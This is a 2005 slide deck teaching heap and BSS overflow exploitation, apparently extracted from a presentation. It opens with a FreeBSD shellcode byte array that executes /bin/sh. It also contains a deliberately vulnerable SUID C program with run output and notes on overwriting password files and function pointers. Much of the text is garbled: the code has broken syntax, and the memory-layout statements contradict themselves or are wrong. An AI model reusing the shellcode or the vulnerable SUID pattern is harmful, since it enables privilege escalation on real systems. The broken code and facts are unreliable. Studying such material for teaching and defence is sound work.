Heap and BSS Overflow

Arbro on 2005-01-22

arbro@chroot.org

Copyright (c) 2005 Arbro, Taiwan Explorer Club.

char fbsd_execve[] = 
"\x99\x52\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f"
"\x62\x89\xe3\x51"
"\x52\x53\x6a\x3b"
"\x58\xcd\x80";
Agenda

- Popular overflow – Stack-based Overflows
- Introduction of Heap and Data/BSS
- Verify exploitation
- Sensitive heap data of functions
- Reference
Popular overflow
Stack-based Overflows

<table>
<thead>
<tr>
<th>Stack frame pointer (SFP)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Return address (RET)</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
</tbody>
</table>

Low addresses

High addresses

Buffer

Flag

CH Ro.oT

Frame pointer (EBP)
Introduction of Heap and Data/BSS

- Memory location
- Heap and BSS
- Idea of evil
# Memory Location of Heap and BSS

<table>
<thead>
<tr>
<th>Segment</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>text (code) segment</td>
<td></td>
</tr>
<tr>
<td>data segment</td>
<td></td>
</tr>
<tr>
<td>bss segment</td>
<td></td>
</tr>
<tr>
<td>heap segment</td>
<td>The heap grows down toward higher memory addresses</td>
</tr>
<tr>
<td>stack segment</td>
<td>The stack grows up toward lower memory addresses</td>
</tr>
</tbody>
</table>

The heap grows down toward higher memory addresses.

The stack grows up toward lower memory addresses.
Heap and BSS

- Less noticed
- Not discrete but seriate
- Most are system and architecture independent, including those with non-executable heaps
- "Memory that is dynamically allocated by the application is known as the heap."
- "Heap-based overflow" refers to both heap and data/bss sections
Heap and BSS (cont.)

- **Heap**
  - Dynamically allocated by the application.
  - Initialized at compile-time.

- **BSS**
  - Uninitialized data
  - Allocated at run-time.
  - Until it is written to, it remains zeroed (or at least from the application’s point-of-view).
Idea of evil

- File stealing
  - Overwrite a file
    - Password, user, …etc
  - Overwrite a configure file
    - For SUID executable program
- Function pointer stealing
  - Execute a shellcode
  - Execute something else by personally creativities.
Verify exploitation

```c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    FILE *fd;
    // Allocating memory on the heap
    char *userinput = malloc(20);
    char *outputfile = malloc(20);
    if(argc < 2) {
        printf("Usage: %s <string to be written to ./notes>
            argv[0]);
        exit(0);
    }
    // Copy data into heap memory
    strcpy(outputfile, "./notes");
    strcpy(userinput, argv[1]);
    // Print out some debug messages
    printf("---DEBUG---
    printf("input @ Ap: %x\n", userinput, outputfile);  
    printf("output @ Ap: %x\n", outputfile, outputfile);  
    printf("distance between: %d\n", outputfile - userinput);  
    printf("\n");
    // Writing the data out to the file.
    printf("Writing to ./%s\n", argv);  
    if(fd = fopen(outputfile, "a");  
    if(fd == NULL) {
        fprintf(stderr, "error opening %s\n", outputfile);
        exit(1);
    }
    fprintf(fd, "%s\n", userinput);
    fclose(fd);
    return 0;
}
```
Verify exploitation (cont.)

```
[craps@arbro ~]# make
[craps@arbro ~]# gcc heap.c -o heap
[craps@arbro ~]# sudo chmod 6777 heap
[craps@arbro ~]# ls -l
-rw-r--r-- 1 arbro wheel 131B Jan 22 12:24 Makefile
-rw-rw-rwx 1 root wheel  5K Jan 22 12:26 heap.c
[craps@arbro ~]# ./heap this is just a test.
--- DEBUG ---
[r] userinput @ 0x804a040: this
[r] outfile@ 0x804a060: /notes
distance between: 32

Writing to "this" to the end of ./notes...
[craps@arbro ~]# ls -l
-rw-r--r-- 1 arbro wheel 131B Jan 22 12:24 Makefile
-rw-rw-rwx 1 root wheel  5K Jan 22 12:26 heap.c
-rw-r--r-- 1 arbro wheel 973B Jan 22 12:15 heap.c
[craps@arbro ~]# cat ./notes
this
--- DEBUG ---
[r] userinput @ 0x804a040: 乱七八糟
[r] outfile@ 0x804a060: /notes
distance between: 32

Writing to "乱七八糟" to the end of ./notes...
[craps@arbro ~]# ls -l
-rw-r--r-- 1 arbro wheel 131B Jan 22 12:24 Makefile
-rw-rw-rwx 1 root wheel  5K Jan 22 12:26 heap.c
-rw-r--r-- 1 arbro wheel 973B Jan 22 12:15 heap.c
-rw-r--r-- 1 root wheel  5B Jan 22 12:27 notes
[craps@arbro ~]# cat ./notes
乱七八糟
```

2005-01-22

CH Ro.o.oT
Verify exploitation (cont.)
Verify exploitation (cont.)
int goodfunc(const char *str); /* funcptr start out as this */

int main(int argc, char **argv)
{
    static char buf[BUFSIZE];
    static int (*funcptr)(const char *str);
    *
    *
    *
}

/* This is what funcptr would point to if we didn’t overflow it */
int goodfunc(const char *str)
{
    blahblah;
}
# Sensitive heap data of functions I
(from w00w00)

<table>
<thead>
<tr>
<th>Functions</th>
<th>Examples include</th>
</tr>
</thead>
<tbody>
<tr>
<td>*gets()/*printf(), *scanf()</td>
<td>_iob (FILE) structure in heap</td>
</tr>
<tr>
<td>popen()</td>
<td>_iob (FILE) structure in heap</td>
</tr>
<tr>
<td>*dir() (readdir, seekdir,...)</td>
<td>DIR entries (dir/heap buffers)</td>
</tr>
<tr>
<td>atexit()</td>
<td>static/global function pointers</td>
</tr>
<tr>
<td>strdup()</td>
<td>Allocates dynamic data in the heap</td>
</tr>
<tr>
<td>getenv()</td>
<td>Stored data on heap</td>
</tr>
</tbody>
</table>
## Sensitive heap data of functions II
(from w00w00)

<table>
<thead>
<tr>
<th>Functions</th>
<th>Examples include</th>
</tr>
</thead>
<tbody>
<tr>
<td>tmpnam()</td>
<td>Stored data on heap</td>
</tr>
<tr>
<td>Malloc()</td>
<td>Chain pointers</td>
</tr>
<tr>
<td>rpc callback function</td>
<td>Function pointers</td>
</tr>
<tr>
<td>windows callback functions</td>
<td>Func pointers kept on heap</td>
</tr>
<tr>
<td>signal handler pointer in cygnus (gcc for win)</td>
<td>Functions pointers (note: unix tracks theses in the kernel, not in the heap)</td>
</tr>
</tbody>
</table>
Reference

- http://www.w00w00.org/files/heaptut/
  - Chinese version
  - English version
- Hacking – The Art of Exploitation
  - By Jon Erickson
  - ISBN 1-59327-007-0